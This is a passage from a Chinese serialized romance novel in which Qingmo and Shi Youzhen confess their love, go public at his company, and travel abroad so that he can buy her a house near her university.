她试图想象施友臻用什么途径得到的这些东西,她问着:“哥,你自己去找的,还是托人找的?花钱买回来的吗?” 施友臻没有回答,沉默相当于默认。 是一个人、一个人去沟通,索要吗?不知道花了多少钱买回来的。还有酒店的杯子,他怎么说服人家买到的。或许不是特别难的事情,让清茉难过的是,该怎么去面对。如果这次她没有冲动回国,要是这些隐秘的收集品没有被意外摔落在地上,可能永远不会被发现。 她回国之前,其实已经几个月跟施友臻没有任何联系了。当几个月变成几年,几年变成几十年,人生就走进再无可能的归途了。 在抢救室醒来身体极其不适的时候,不害怕是假的,她会想自己是不是真的无牵无挂,会想如果就这样结束了一生,会有什么遗憾。 会遗憾没有好好告别吧。 还有,万一她没熬过去,留下的人该怎么办。 祈求爱的时候,渴望得到全部,告别的时候,却希望留下的人根本没那么爱,希望时间尽快磨平一切,该怎么生活怎么生活,没有必要再用虚无的记忆延续没有意思的生命痕迹。 但是眼前的这些物件,让她最后一点自欺欺人的幻想也彻底破灭。 施友臻蹲下,把东西一样一样重新拾回,放进盒子里。 清茉盯着他,盯着瓷杯子的碎片,想通了。 她畏惧未来的不确定性,害怕一段亲密关系不能有始有终,曾经被放弃的恐惧沁染了灵魂,何必呢?害怕未来有什么用,这世上永恒不变的永远是变化,未来根本不需要承诺,信的人去信,不信的人不信,根本没用。 就活在当下,活在眼前,活一个不后悔吧。 清茉问:“哥,你是不是很喜欢我。” 施友臻手上的动作一滞。 清茉问:“哥,你是不是很爱我?” 施友臻站了起来。 清茉问:“是不是超爱,超爱,无敌爱,爱到要疯了的那种。哥,你说话。” 施友臻回答地很慎重,说着:“嗯,很爱。”停顿几秒又说着:“可能比我自己认知到的,更爱。” 清茉每一个字都听地清清楚楚,轻轻点了点头,再次说着:“那你得承认,你加上主语、谓语、宾语,完整地说出来,快说。” 施友臻也再次给予了清晰的回应:“林清茉,我很爱你。” 清茉点头,说着:“好,我听清楚了,是你先承认的,你输了,你为什么一直不说,你装什么装?你是等我跪着求你吗?反正我就是不说,你输了,你先说了爱我,你输了。” 逼仄的玄关,散落一地的白瓷碎片,躺在地上等待远行的背包和藏着隐秘爱意的老花盒子。并不像表白的气氛,他沉默,她也沉默,没有电视剧中表白之后兴奋相拥抱着转圈的情况发生,清茉眼圈发红,说着:“那就可以了。” 施友臻像是叹息了一下,说着:“是我输了,我很爱你。或许,比你能想到的,更爱。” 那就可以了,那就够了。 清茉抹了下眼睛,下了决心,她想,那就只问现在,不问未来。哪怕未来会有爱意消失殆尽的那天,哪怕青春凋谢在衰老的岁月中,哪怕逃不过在争吵和背叛中决裂,就算那样,也不要在没有告别中离开。 因为世上真的存在“抱憾终身”这个词。 清茉像真正掌握主动权和决定权的上位者,终于愿意降下爱意和怜悯,说着:“行,我知道了,我们在一起吧。” 第99章 第九十九章 施友臻看着她用语言上…… 施友臻看着她用语言上的强势掩饰紧张, 听她说出“我们在一起吧”,托起清茉下巴,让她目光不要躲闪, 相互正视,施友臻问她:“那你呢?” 前面的强势可能用尽了清茉的力气,面对施友臻的质问, 比语言先抵达的,是眼泪。清茉咬着下唇, 眼泪吧嗒吧嗒顺着脸颊往下掉, 施友臻捏了捏她的脸颊软肉, 问她:“你呢?” 也不能算欺负吧, 反正施友臻就是得听到个答案, 他抱起清茉,像之前偶尔亲昵接触时候一样,托着她坐到沙发上, 让她□□坐在自己腿上, 面对面抱坐在一起,施友臻亲吻她的眼泪, 问她:“所以你该说什么?你先要把话讲出来, 我才能给你答案, 协议双方都签署才能生效,林清茉, 说话。” 施友臻加深了他的吻, 清茉哭得喘不过气,他喜欢看她开心,也喜欢看她被欺负得脆弱,逼问着:“林清茉, 你该说什么?你不说出来,我怎么答应。” 清茉喘了口气,被他问恼了,张口咬在施友臻脖子上,她不像有的人浑身上下都是没轻没重的莽力气,温热的唇齿覆在皮肉上磨着,像撒娇的猫咪,在邀约主人一起玩耍。 就在施友臻以为已经软在他胸前的清茉,不一定会给予什么答复的时候,对,他觉得不需要言语了,心里其实已经从悬浮到踏实,他将要得到这个人,这是既定事实,不用多说什么,他承认了他的爱,他也将得想要的,但是清茉突然抬手,用手背很可爱地使劲儿擦了擦眼泪,像小时候输掉了比赛从地上爬起来,又哭又不服输地抹着眼泪,小脸上眼泪混着跑道上的灰尘,一道一道痕迹,哭着走到一旁,作为亲友出席观看比赛的施友臻,过去给她擦眼泪,小孩儿扑倒在他怀里哭,软软小小的一只。 清茉用力擦完眼泪,再用力吸吸鼻子,胳膊攀上施友臻肩膀,他身上硬邦邦的肌肉抓不到手里,就只能使劲儿攥着衣裳布料,把衣服抓皱攥到手掌心儿里才踏实似的,说着:“哥,我很喜欢你,你别这时候还欺负人,你听清楚,我也很爱,哥,我也很爱你。” 说完,眼泪泄了闸,宣泄出所有压抑情绪似的,哭得不能自已,一边打哭嗝抽泣一边倾诉道:“我那天,特别怕,怕什么都没说就走了。” “我一下子就没力气讲话了,你明明就在跟前,可你的脸我也看不清,你说话我也听不清,浑身都发麻动不了,我害怕。” “我后悔没跟你好好说说话,但是又想,也幸好没说出来,万一说了之后我走了,你怎么办?” “我不知道该后悔没跟你说我好爱你,还是后悔,没跟你说没关系,我最怕万一我没挺过来,你该怎么办。” “我可以一直都不说我有多爱你,我可以带着秘密一起走,但是我会后悔没有机会跟你讲没关系,不管我怎么着了跟你都没关系,你以后别自责,也别放在心上,我们本来就是没什么缘分的人,相聚的时间很短,没有再深的缘分牵扯在一起。” “我想来想去,也没什么特别牵挂的人,大家在过各自的日子,都很好,跟我没什么必须的联系。但是我很想告诉你我超喜欢你,又不敢,以前不敢,弥留的时候也不敢,我该怎么办。” “我现在说了,你听清楚了吗?我说我好爱你,哥,我好难过,你知道一个人走路有多孤单吗?” “我一个人走了很多地方,沿着海岸线走,沿着山脊走,一个人的话,跟不能讲话的大海大山,没有区别,再美的风景都很沉默,越走越孤单,越走越沉默,太安静了,晚上我睡不着,很长时间睡不着。” “可是你怎么可以这么狠心,你一直什么都不说,我怎么办?你觉得我是有选择权的人吗?我从来都没有选择权,他们分开的时候,问我想跟着谁,但是他们其实谁都不想让我跟着,我没法选。到你,你也欺负我,我不想做你的玩物,你要是不能看清楚到底爱不爱,我宁可不要你,你承认很爱很爱我之前,我不要你。” 清茉哭得太凶了,呼吸很急,施友臻手掌捂到清茉口鼻上方,顺着她的后背,引导着:“茉茉,慢慢呼吸,我都听到了,对不起,慢慢吸气,再慢慢呼气。” 清茉把自己全交给了他,踏实趴在施友臻身上,下巴搁在他的肩膀上,施友臻抱着她一下一下轻拍着后背安抚,等她慢慢平静。 她太善良,爱得太慎重,他的小女孩,爱意赤诚如金。 等她慢慢平静,施友臻重新开始亲吻,清茉尝试着青涩地回应,表白之后灵魂和身体同步战栗,施友臻抱起她,走向卧室。 这个小小的房子,发生了很多故事,是他俩最隐秘的空间,施友臻以前评价这里是“聚气”的风水,气场独立,隔绝着外界一切,完全属于他俩。施友臻的力气仍旧很大,温柔下还是强硬的本色,方寸之间挣也挣不开,逃也逃不掉,承受着男人同样积压到要决堤的激烈情绪。她想就是这样强烈鲜明的感觉才好,她不讨厌这种疼,不讨厌被他强势地主导,不讨厌被他完全掌控,这样才好,这样才是鲜明的爱意,才是活着的感觉。 黄昏到夜晚,到很深的夜晚。 似睡将睡之时,清茉轻轻地问他:“哥,这就是在一起了,对吗?” 施友臻哄她睡,说着:“嗯,在一起了。” 融恒总部上午的会议又临时取消了,少衡本来要参会,都已经开车走到半道了,接到会议取消的通知,怎么都觉得是他哥作妖,又有点不放心茉茉,寻思着今儿也不是复查的日子,一个电话打了过去。 施友臻接到电话的时候,清茉还在他怀里安睡,确实累坏了,日上三竿仍旧睡得香甜,他摁断电话没接,少衡发来信息:“哥,没上班是不是在陪茉茉?茉茉怎么了?没事吧?” 施友臻倒是好心给他回复了一条:“没事,在休息。” 这话讲地模棱两可,少衡狐疑,再拨过,他哥也不接。下午的时候,少衡问章宁,章宁说他哥今儿都不过来了,会都排到了明天。少衡好奇,但是也不愿意去深问了。 这两天融恒内部,都在津津有味的吃瓜,清茉平台账号粉丝不少,融恒的高智们很容易就找到了她的账号,也不知道从谁先开始的,在最新视频的评论区只留了一个字:“哇!”然后融恒职员开始有人默契地在下面排队,全是一溜烟的神秘之“哇!” 她的平台账号内容超级丰富,翻一翻就知道她在读含金量很高的海外博士学位,很热爱记录生活,喜欢旅行和徒步,文案跟内容又文艺又独立,世界尽头,北欧虎鲸,雪山徒步,收获了一波新的讨论度。 有人还发现了施恩永,还有人在主题乐园的视频里发现了施少衡的背影。蛛丝马迹串起来,这个凭空出现的女孩,好像又不那么凭空,更迷了。 清茉一些老粉丝发现后莫名其妙,相互问那个“哇!”楼怎么回事。 晓杨随时跟清茉同步,也好笑地去跟楼留了个“哇!”给清茉发信息说了这件事,清茉拥着被子看手机,登陆自己账号看,乐了,问施友臻:“哥,我的账号被你们公司员工发现了,要是不方便的话,我都隐藏了。” 施友臻晚上要带她回巨幅投影的那个家,正在给她理要穿的衣服,说着:“不用,没必要迁就,想做什么就做什么,我倒是可以帮你运营成更高的流量大咖。” 清茉:“……那倒也不用。” 清茉终于穿好了衣服,虚虚软软地去自己背包里拿证件,发生亲密关系后,好些事儿都沾染上信任和亲昵的味道,比如再提返回学校的事儿,就成了正常报备跟有商有量,清茉问着:“哥,那我周六,就真先回学校了。” 施友臻这次勉强接受似的,没反驳,说着:“嗯。” 清茉站在背包旁,犹豫了一下,从老花盒子里把毛毡驯鹿和鲸鱼拿了出来。对清茉来说,施友臻有多少资产,有多少房产,多少浮夸的服饰珠宝,都没有这一盒收集的便宜旅行纪念品触动人心。她把鲸鱼毛毡扣到了施友臻车钥匙上,驯鹿的栓到了自己手机链上。 施友臻过来拿车钥匙,默许了这样的安排,但是说着:“得再补给我两个。” 清茉:“嗯嗯,知道了,昨天杯子摔碎的时候,我有没有说岁岁平安?忘了,我再说一次吧,岁岁平安,岁岁平安。” 施友臻怎么看怎么觉得好可爱,低头亲了一下,说着:“你把里面东西摔的摔,抢的抢,都拿空了,怎么补偿?” 清茉:“知道了,我补上。可杯子怎么办?” 施友臻:“跟我再去住一次。” 上车后,清茉又确认了一次:“哥,我周六航班可是跟你报备了,订机票了哈。” 施友臻:“嗯。” 清茉:“没别的话了?” 施友臻:“机票我已经订了,两个人的。” 清茉:“?” 施友臻:“正常入学都有家里人送,给你补上。”施友臻吻了清茉额头,说着:“茉茉,祝贺你入学,很厉害的学位。” 清茉一怔,随即去紧握施友臻的手,说着:“嗯,谢谢哥。” 【第二部分 END】 作者有话说:友友们新年快乐! 第三部分估计只有五六万字就收尾啦~新年见~ 第100章 第一百章 施友臻就是要牵着清茉上班,…… 施友臻就是要牵着清茉上班, 从下车开始就牵着手,穿过停车场,公司大厅, 一路上公司员工的眼神跟表情也从探究好奇变成了“哇,果然!”,清茉想想那个已经超高的神秘“哇”楼, 就觉得太好笑了,她要是职工, 肯定也沉浸式吃瓜。 都说开了, 心里踏实, 她踏实, 男人明显也踏实, 不仅踏实,而且很多亲昵的事儿更加理所当然的样子。他办公室一上午进进出出好多人来请示汇报,清茉在里面屋子开着电脑改文章, 他有空档的时候就进来, 一定要缠着亲一会,清茉再跟哄小孩似的把他赶出去, 让他好好上班。 少衡在楼下项目部门开会, 中午饭点才有空上来, 进屋的时候他哥还在听一个项目汇报,少衡跟他哥招呼都不打, 一脸无话可说的样子, 眼睛巡视一周,直接去里间找人。清茉见他进来,问着:“哟,大驾光临, 有失远迎。” 少衡拉过椅子,坐到清茉桌子对面,上上下下左左右右仔细打量一番,问她:“什么情况?都传疯了,一个个都不敢直接问我哥,电话全打到我这里了,我是不是得问你俩要热线客服人工费。” 清茉乐,说着:“那你听好了,你哥说他超爱。” 少衡一怔,摇头:“不可能,你杜撰。” 清茉指了指外面,说着:“不信你去问他。” 俩人像小时候分享秘密的二人组小伙伴,少衡一脸不屑又有点生气,自己给自己顺气儿,说着:“不行,我得要精神损失费,还是感觉我被人挖墙脚戴绿帽子了。” 他哥也结束外面的工作进来,少衡没好气问着:“哥,茉茉说你表白了,还说超爱?真的假的?我不信。” 施友臻淡定道:“嗯。” 少衡无语地站起来,跟他哥伸手,说着:“我要精神损失费,茉茉明明是我的,从小就是我的。” 他哥真的是身心舒爽,什么都好说,说着:“你的乐园项目,基本通过,可以推进了,给你预留了大体量资金。” 少衡没想到这么快,他现在所有的项目都严格走内部审核评估,以为会被卡住很久,没想到他哥这么支持,兴奋道:“这么快?哥你是对我愧疚才帮我推的吗?” 施友臻:“不是。这个项目既然要做,就要抢占先机。” 清茉听着施友臻三下两下就把少衡治得服服帖帖,默默想着果然段位不一样,看看时间,问着:“吃饭吗?有点饿了。” 清茉本来想着公司餐厅人太多,太惹眼,问着要不要出去吃,施友臻不同意,清茉这周还得吃他定制好的食谱,自家厨房的东西放心,少衡乐在掺和,说着:“都超爱了,怕啥,走吧,超爱先生和超爱女士。” 这次再去餐厅,少衡跟清茉走前面,俩人还小声讲着悄悄话,少衡一路上吐槽洽谈乐园项目遇到的奇葩事儿,属地的,乐园之前管理方的,海外版权方的,问题很多,纯纯大乱炖,清茉听了很多项目八卦,脸上带着笑,施友臻这次则走在俩人后面,像个严肃又权威的大家长。 少衡很喜欢集团总部的餐厅,主管餐厅的曹大叔早年在爷爷家待过,照顾过兄弟俩,老大不说挑食,但是吃得精致又挑,老二自己说挑食,实际上很好喂养,要说什么什么专门给他做的,他就傻开心,就一顿海吃。前段时间曹主管接了章宁的私密新任务,老大不知道为啥给了一个营养师定制的菜谱,看着是适合给女孩子滋补的菜单。头天老大带人过来的时候,曹主管也吃到了边角料八卦,曹主管知道老大性子,主打一个不信,让手下的人不要信谣传谣,眼见不一定为实。 上次曹主管在后厨忙活没见上,今儿正好少衡也来,他就一早等在门口,瞧着少衡跟一个眼生的女孩一块亲昵地走进来,默默想着:“果然传的不对,老大怎么可能招摇过市,肯定是少衡谈的嘛,老大那天就是帮少衡照顾一下,老大这性子,不可能的。” 少衡热络打招呼道:“曹叔,今儿给我准备什么好吃的了?” 曹叔请他们进了屋,吩咐着起菜,少衡拉了拉清茉胳膊,问着:“走,去外面看看?公司论坛八卦贴上说你爱吃餐厅甜点,今儿有糖葫芦师傅在现场做,你在海外吃不到吧,走看看去,有你爱吃的压扁的。” 清茉一想那天被围观,忙说着:“不了不了不了。” 少衡拉她的手,施友臻瞥过来目光,少衡就是拉着,说着:“看什么看啊哥,拉拉手都不行吗?” 施友臻懒得理他,但是对清茉说着:“跟他出去看看吧,在这儿自在点。”说着递给清茉一张专门制作的卡,清茉接过来一看,上面的照片是去年在雪地里建造小雪人大军的时候,施友臻给拍的,冷空气冻得她脸颊红红的,冲着镜头傻笑,有种气色不错的元气感。 清茉接过,心里暖暖,嘴上调侃:“哟,谢谢施总。” 在一旁帮着起菜上菜的曹叔听得一头雾水,对不上到底是谁跟谁。少衡拉着茉茉出去,一路上跟人打招呼,以为吃明白瓜的公司职员又瞪大了眼睛,瞧着小施总跟女孩也很亲昵。清茉今儿还真是自在多了,少衡在一旁当讲解,说着:“你甭看我爱玩,我是真把公司食堂当家,这么多人一起吃饭才有人气儿,改天去我那边试试,我融恒置业的食堂不输给集团的,夜宵尤其出名。我刚入职的时候,好多业务不明白,怕丢人也不敢问,我就拼命研究餐厅建设,伺候好大家的嘴,争取另辟蹊径应到好口碑,有那么一点效果。” 清茉都能想象出他初出茅庐的懵懂样,笑着给他打气:“没有路是白走的,这不以后主题乐园起来了,里面的餐饮你可以大展宏图。” 少衡开心:“对哦,还是茉茉讲话好听,我哥何德何能,越想越生气。” 吃饭的时候,清茉把周六飞回去的行程跟少衡讲了,说着:“你哥也要跟我一起去。” 少衡一怔,气道:“不行,凭什么,又让我代会吗?我不要,我要一起去!你们哪趟航班,我现在就订机票。” 施友臻一个眼刀飞过去,说着:“干好你的事情。” 清茉安慰着:“他就待两天,很快回来。” 施友臻:“待一个星期,不是两天。” 清茉:“?”她放下手中的糖葫芦,问着:“这么久?哥,你不耽误工作吗?” 施友臻:“不然怎么办,要一直两地分居吗?” 少衡:“……” 清茉:“……” 饭后他们兄弟俩在谈项目,清茉抽空约了晓杨去外面广场遛弯消食,施友臻仍旧是检查好她穿戴够保暖才放出去,冬天中午的阳光珍贵,但是温度还是低,他说着:“最多半个小时,我待会下楼接你。” 晓杨在大厅外面等她,终于又见上了,俩搭子兴奋拉拉手,晓杨评价道:“按照现在网上的说法,咱们不是单纯的上班搭子,咱俩是初入职场就搭在一起的青梅搭子,茉茉,你真好,当时你那么举重若轻地开施总跑车的时候,我就知道总有这么一天,一人得道鸡犬升天,我青梅搭子助我平步青云!” 晓杨兴奋地将她怎么调到集团总部人事的过程讲了一遍,重点说那天施总一个电话追过去质问清茉有没有在,吓得晓杨一身冷汗,今儿上午吃饭看清茉跟少衡一起,晓杨评价道:“你等着吧,同事之间肯定又在猜猜猜了,小施总跟你讲话的时候好温柔,你自己可能察觉不出来,他会低头侧着靠近你听你讲话哎,超苏的,我这种青年少女在一旁看到,怦然心动的哦,请把小施总留给融恒的女同胞们。” 清茉乐道:“留,留,肯定留。” 晓杨也笑,说着:“我真的没想到施总能这么高调,男人平时再怎么高冷,是不是遇到真爱都会变成孔雀开屏,我看施总就是高调炫耀吧。话说回来,你突然出国,我还以为会很难再见到了呢,谁想到啊,这马上就成我老板娘了,茉茉,那你学位怎么办?继续读还是会回来结婚?” 清茉想了想,说着:“肯定不会放弃学位,申请上不容易,也是我感兴趣的领域,我肯定拿学位啊。这都什么年代了,你怎么还问出来这种问题,做自己大女主不爽吗?” 晓杨嘶了一声,问着:“博士学位三到五年吗?施总没意见?” 清茉解释道:“我可没敢问他有没有意见,咋说呢,有意见先憋着吧,他应该会尊重我的决定,这不是男人的基础美德吗?” 晓杨:“不愧是你啊茉茉,要是旁的女孩,得赶紧上赶着,该结婚结婚,该生孩子生孩子,先把人拴住了再说。” 清茉:“每个人的选择重点不一样嘛,而且,晓杨,真正相爱,真正在意对方,也会真正尊重对方的吧。” 晓杨抱了下清茉,说着:“茉茉,道理我听懂了,可是有时候做到真的好难,有空我给你讲讲我这段时间的恋爱史,你听了估计会骂我,我交往了一个弟弟,就算姿态放得再低,好像也换不回真心,就分了。” 清茉刚想听晓杨八卦,施友臻电话已经追了过来,清茉接起来,听他说着:“半个小时到了,我在公园入口,出来吧。” 清茉张望了一下,拉着晓杨往回返,晓杨乐,拆穿她说着:“什么啊,我看你被管得好厉害,这都得卡点回来,那天晚上找你也是,那天在楼下咖啡馆也是,今天户外遛弯也是,不是,我说施总不是想多了防着我吧!” 清茉被她逗得笑得停不下,走到施友臻面前的时候笑得咳嗽了两声,施友臻紧张问着:“怎么了?”顺手递过来一个保温杯。 清茉:“……” 晓杨问候施总后挥挥手撤了,清茉接过保温杯,拧开里面的水入口温度正好,清茉问着:“哥,晓杨问我,学业要不要继续修完,你怎么想的。” 这个问题算是终于摆到明面上了,施友臻去握清茉的手,说着:“支持你继续完成学业,但是看看能不能兼顾我们的相处。” 这话听着好像没错,不过等周六到机场,清茉发现随行的人员竟然还有章宁跟夏助,清茉疑惑问着:“怎么这么兴师动众的吗?” 施友臻:“既然确定关系,为了方便你念书,需要购置房产,置办房子,这周去集中办理。”《 》 100-110 第101章 第一百零一章 机场抵达后,接机的竟然…… 机场抵达后, 接机的竟然是恩永,清茉很久没有见到他,意外看到很开心, 跟恩永拥抱打招呼,恩永瞧了眼后面大哥的脸色,笑着问候:“姐, 欢迎回来。”帮章宁他们拿了行李,路上开车送去酒店, 汇报着:“大哥觉得我对这里熟悉, 提前一周让我考察房产市场, 姐, 记得咱们跑步的时候路过的那栋房子吗?当时咱们还说看着很漂亮, 我咨询房屋中介的时候,那栋房子正好在售,明天一起去看看。” 入住的酒店, 就是施友臻每次来住的那家, 甚至房间还是那个房间,大堂里飘着面包房和手工巧克力的香甜, 清茉踏进房间的时候, 感慨又恍惚, 走到窗前,看到斜对面的花店。花店老板在整理今天的鲜花, 玫瑰花永远在醒目的位置一簇一簇盛放。 施友臻从身后抱住清茉, 说着:“我在这里,看到过你。” 清茉好奇问着:“还有呢?” 施友臻:“还跟在你后面走过,知道你住在哪里,不知道该不该打扰, 就一次一次飞过来,要是能偶遇,就会很开心,你的小院子打理得很漂亮,但是我不小心摔碎过一个花盆,也托老板送过玫瑰花。有时候来这里也不知道该干什么,就散步,或者跑步。” 清茉:“但是有一次你讲话好难听,不止一次。” 施友臻低头亲吻她额头,说着:“你该反省为什么惹我生气。” 清茉笑着避重就轻,说着:“哥,我带你去散步吧,去我学校看看。” 施友臻并不着急,长途飞行之后一定要清茉先休息一天,明天再出门。恩永、章宁、夏助三人一伙儿早不见踪影,仿佛得到了公费海外长假。晚上施友臻跟清茉就在酒店餐厅用餐,面包房的大叔还记得清茉,热情地打招呼,让清茉品尝他的实验新品。 酒店的餐厅很漂亮,施友臻点完单还是很介意地说了一句:“你该再修养两周,家里饮食有益于温补。” 清茉:“恢复正常生活节奏才是真正恢复嘛,我底子不错的哥。还有,嗯……你怎么不问问,就这么买房子给我住,我会不会负担?啊,哥,我可以喝一杯热红酒吗?” 施友臻:“不可以。” 清茉:“哥,超想喝,喝了解乏,让我喝一杯好不好。” 她黑亮的眼睛带着笑意央求,施友臻心里躁动,就应了,点完热红酒,才解答刚才的问题,说着:“总不能一直租住别人的房子。” 清茉:“现在的房东阿姨,是我导师的朋友,人很好,话说好像年轻的时候跟我导师关系匪浅,但是没能在一起,说起来就是一段很遗憾很遗憾的故事。” 施友臻对旁人的遗憾并不感兴趣,倒也没再遮掩,说着:“跟集团的高校资助项目有关系,现在跟你讲也没关系了。我是通过你导师知道你在海外的具体学校,作为友好回报,资助了他的项目组。” 清茉一愣,问他:“什么时候的事儿?” 施友臻:“过了春节没多久。” 清茉:“哥,对不起。但是你也太能翻了吧,我就奇怪来着,好吧,这事儿你真是凭本事,肯定套我导师的话了吧。” 用橙子、苹果、肉桂、丁香熬煮的热红酒带着独有的香气,清茉喝完一杯,又央求了一杯,施友臻竟然也答应了,清茉很快脸颊红润润,眼神带着几分迷离,又回到了刚才的话题,问着:“哥,所以我问,是不是没必要买房子,我一无所有,心理会敏感的嘛,你不问问我会不会负担吗?” 施友臻很认真地回答这个问题:“如果我只有十块钱,非得给你九块九,那么对于你,对于我都是负担。如果我有一千万,但是要分享给你一块钱,不必觉得是很大的事情。” 清茉一听,眯了眯眼睛,喝了口她暖烘烘的热红酒压惊,吐槽道:“哥,你这个比喻,听是听懂了,怎么感觉被你内涵到了,有钱人都是这么过分的吗?好讨厌哥。” 施友臻带了点笑意,继续说着:“是吗?那再换个说法,你喊我哥,你婚前我给置办些资产,本来就是应该的,这样结婚了硬气,不怕被婆家人欺负。” 清茉:“?” 施友臻:“城里有几家老牌珠宝总店,这周也一起看看,不管是房子还是珠宝,都会记到你的名下。”又想起之前的事儿,笑着加了句:“会写清楚赠予。” 清茉:“君子不是嗟来之食,不,无功不受禄,哥,你好浮夸。”不知道是不是酒精作用,热红酒度数不高,但是仍会醉人,她突然觉得心酸,问施友臻:“哥,你是觉得我怪可怜,想补偿吗?” 她揉了揉眼睛,说着:“其实也没特别难,我觉得自己很充实,就,很……堂堂正正嘛。” 施友臻伸过去捏住清茉的手,薄薄软软地捏在手中,说着:“嗯,没什么负担不负担的,这也是适应的一部分,正式结婚之后,会更复杂,也需要调整好心态。茉茉,我就是想给你最好的,刚好有这个能力。话说回来,只有十块钱的人,给予他的爱人十块钱,也很了不起不是吗?” 清茉点头,施友臻又说着:“要说真的什么是负担,我们家庞大的家族,公司复杂的运营体系,还有你未来不得不承担的社交责任和家庭责任,都是我要考虑跟你说抱歉的地方。” 清茉勾着施友臻的手,笑道:“哥,你这不是,也很会聊天嘛。” 施友臻:“是愿意跟你聊。” 清茉:“六六说,爱情本质也是一种束缚,自由从来都是相对的,她讲的就是很对,重点是心甘情愿接受这份束缚,束缚的时候也甘之如饴,哥,那我跟你讲实话你不准笑,恩永帮忙看好的房子我好喜欢,超喜欢,我特别想要,买给我好不好?” 施友臻被她逗笑,拉着她的手回房间。 微醺的热红酒让这个夜晚愈□□漫绵长,清茉失神的时候,施友臻抱着她哄着她,跟她讲他打着伞走过的湿漉漉的雨夜,讲他甚至嫉妒恩永获得的关注,讲他打赏的那些榜一套餐,把清茉听得面红耳赤,求饶着说以后好好补偿。 施友臻太喜欢看她害羞慌乱自觉理亏的模样,逗弄了大半夜,第二天接近中午才起。 第102章 第一百零二章 施友臻早就穿戴整齐,闲…… 施友臻早就穿戴整齐, 闲适地坐在窗边的单人沙发上,窗帘已经拉开,阳光洒进房间, 光线被窗户外的雕花铁格栅切割成一块块光影,也洒照在施友臻身上,暖阳让平日凌厉的人温和起来, 一半在光里,一半在影中, 温和地看着他的女孩。 清茉洗漱完出来穿衣服, 站在床边察觉到身后的目光, 回头看了一眼, 被这个场景触动, 立刻凑过来,趴在施友臻膝盖上讨要了一个早安亲吻,问着:“哥, 有没有人跟你讲过, 你超有男性魅力。” 施友臻顺手把她揽到自己腿上,说着:“是吗?” 清茉老老实实乖巧回答:“所以之前有时候我都不敢看你眼睛, 你又经常很严肃, 一对上眼睛, 我就赶紧低头,心跳就会很快, 脑子就乱, 又害羞又紧张。” 相互坦白之后的表白,好像是一个长期工程,诉说爱意的方式无数,清茉故意带上了崇拜的语气说以前的心境, 施友臻可太爱听,问着:“是吗?那为什么以前我讲一句,你有十句等着,不像紧张害羞的样子。” 清茉:“这不是外强中干嘛,人一紧张话就多。” 施友臻:“还有呢?” 清茉:“昨天夜里我半夜醒了,看你睡在旁边,偷偷摸了摸你的脸,你猜我心里想什么,我想我哥颜值这么高,身材这么好,我担心是我更占便宜,都想V你50。” 施友臻听着好笑,攥着揉捏清茉腰上的痒痒肉,清茉赶紧跳脱着跑开,再胡闹下去今天是别想出门了。临出门的时候清茉拿了一件轻薄外套,说着:“哥,我运气是不是不错,去旅行的时候还接到了赞助,是品质很好的户外牌子,对接的工作人员也超级NICE,把赞助的衣服给我送到酒店里,改天我再给他们录一次推广。” 施友臻难得迟疑,按照他的规则,现在是可以坦诚相待,最好是坦白一切。品牌方所谓赞助的每一件衣服都是他亲手挑选的,眼前这件也是,看着清茉雀跃地以为是自己赢得的赞助,施友臻想着,算了,以后她可能自己也会发现,决定还是守护好这份快乐,顺着她讲道:“因为你发布的内容很有意思,大家都喜欢。” 清茉去拉住他的手,笑着点头:“是吧,我账号流量真的不错,融恒有没有什么文旅产品或者商品需要我推广?哥,广告费我给你打折,算了,大方一点,免费推。” 施友臻没着急回答,也没着急否定,他自己都觉得此情此景有点微妙。恋爱之后获得了恋爱关系和爱人身份,但是除了这个身份之外,好像也还保有要为之计长远的长辈身份,小时候抬着头仰望他的小女孩,仍旧需要他抚养呵护,他说着:“这件事情,我再想想,之后跟你详谈。” 清茉没立刻领会到他的意思,觉得这个回答未免太慎重,笑道:“行,哥,那你好好想想,反正少衡之后的乐园要是起来了,我肯定帮他推广,我要做第一批开园测试博主。” 施友臻默许了她的误读,牵着手往外走,也没再多解释。 就算现在已经是可以放心牵手的亲密恋人,施友臻知道人的性格不能一夜之间改变,他的变不了,清茉的也变不了。清茉之前的那些担忧和顾虑仍旧存在,在没有冲突和矛盾的时候,风平浪静,但她对于独立个体的价值追求和实现自我价值的意愿,仍旧很强烈,是该端正对待的事情。 未来,来自外界,来自内心,“附属感”都会是一个必须过去的坎儿,是关于长久关系的一个挑战,施友臻认为他该尽到责任,帮清茉好好想想以后的路,拿到学位只是第一步,他希望他的女孩,一直可以拥有独属于她自己的事业和成就感。 恩永在大厅里等他们,大男孩都没有逮到时间单独跟清茉聊天,今儿特意先买了巧克力,递给清茉,说着:“姐,听大哥说,你很喜欢那栋房子,今儿咱们就先去看那栋。” 恩永在大哥面前,乖巧稳重地像职场新人,清茉憋着笑,先上车。抵达的时候,恩永才瞅着点空隙,凑过来小声跟清茉嘀咕:“姐,等大哥回去了,单独跟我吃个饭呗,一日不见如隔三秋,我可太好奇发生了什么了,国内都传疯了,我觉得我是掌握秘密最多的人,也有问到我这里的,我又只知道前半截,不知道后半截,憋死我了。” 走在前面的施友臻回头看了一眼他们,恩永噤声,清茉忍笑快步跑前面拉住施友臻的手。 这栋房子是清茉跟恩永某次夜跑的时候发现的,当时房子的主人在小院草坪上办宴会招待朋友,院墙上装饰了漂亮的灯带,从外面能看到一点精心设计的园林绿植和花卉,房子铺着当地传统的红陶筒瓦,夜晚灯光下的色彩明快温暖。 清茉那天先停下了脚步,她听着小院里觥筹交错的热闹情景,羡慕这栋房子的主人,她那天下决心还是要好好挣钱,以后有机会,要有属于自己的空间,就是靠攒钱攒出来,过程估计很漫长,惆怅的心情一闪而过,羡慕又欣赏,她想,未来虽然茫然,但是总有一天吧。恩永不懂清茉的心境,也停下来张望,吐槽道:“这么吵会被投诉吧。” 清茉问他:“不觉得这栋房子很漂亮吗?” 恩永这才仔细看,是当地的独栋建筑,远高近低,能看到二层和三层的露台,每层露台也设计得各不相同,他点头应着:“看起来不错,但是肯定会被投诉,太吵了,比我朋友们还吵。他们在烤肉吗?好香,姐,待会回去吃牛肉面呗,我知道你卤了一锅牛肉。” 清茉被他这个馋鬼打散了思路,但是后来骑行、散步或者跑步,都会走这栋房子旁边的路线,清茉也喜欢小院的粗粝白墙,还有三层露台上的彩色玻璃,不管是清晨朝霞,还是夕阳西下,都是很治愈的审美。 